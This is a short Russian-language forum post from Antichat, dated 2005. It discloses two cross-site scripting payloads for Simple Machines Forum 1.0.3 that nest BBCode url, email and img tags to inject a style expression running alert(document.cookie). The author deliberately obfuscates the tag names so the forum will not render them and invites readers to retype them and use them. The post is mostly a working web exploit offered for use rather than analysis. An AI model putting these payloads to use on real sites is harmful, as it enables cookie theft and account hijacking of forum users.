Форум АНТИЧАТ - XSS в Simple Machines Forum (SMF) 1.0.3 (и другие)

XSS в Simple Machines Forum (SMF) 1.0.3 (и другие)

02.04.2005, 19:58

KEZ

Guest

Сообщений: n/a

Провел на форуме:

Репутация:

XSS в Simple Machines Forum (SMF) 1.0.3 (и другие)

Через 2 минуты я уже выделил две самых простых XSS. Их хватит. Если нет - берите ещё. Я сделаю видео.

Код:

[urл=http://a[еmail=s=`]a[/еmail]]a[/urл]`xss=`alert(document.cookie);this.xss=null` 
style=top:expression(eval(this.xss));

[iмg]http://[urл=http://s=`]aaaaa[/urл][/iмg]`xss=`alert(document.cookie);this.xss=null` 
style=top:expression(eval(this.xss));

ВНИМАНИЕ! Чтобы НАШ ФОРУМ не парсил (не зависимо от тега [СODE]) мой код, я НАМЕРЕННО написал URL через Л. И емейл тоже так написал.
ПЕРЕПИШИТЕ САМИ!